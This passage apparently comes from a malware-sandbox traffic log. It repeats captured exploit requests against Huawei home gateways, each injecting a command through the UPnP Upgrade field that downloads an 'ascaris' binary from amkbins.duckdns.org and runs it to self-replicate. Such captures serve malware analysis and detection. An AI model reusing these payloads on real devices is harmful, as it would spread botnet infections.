4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 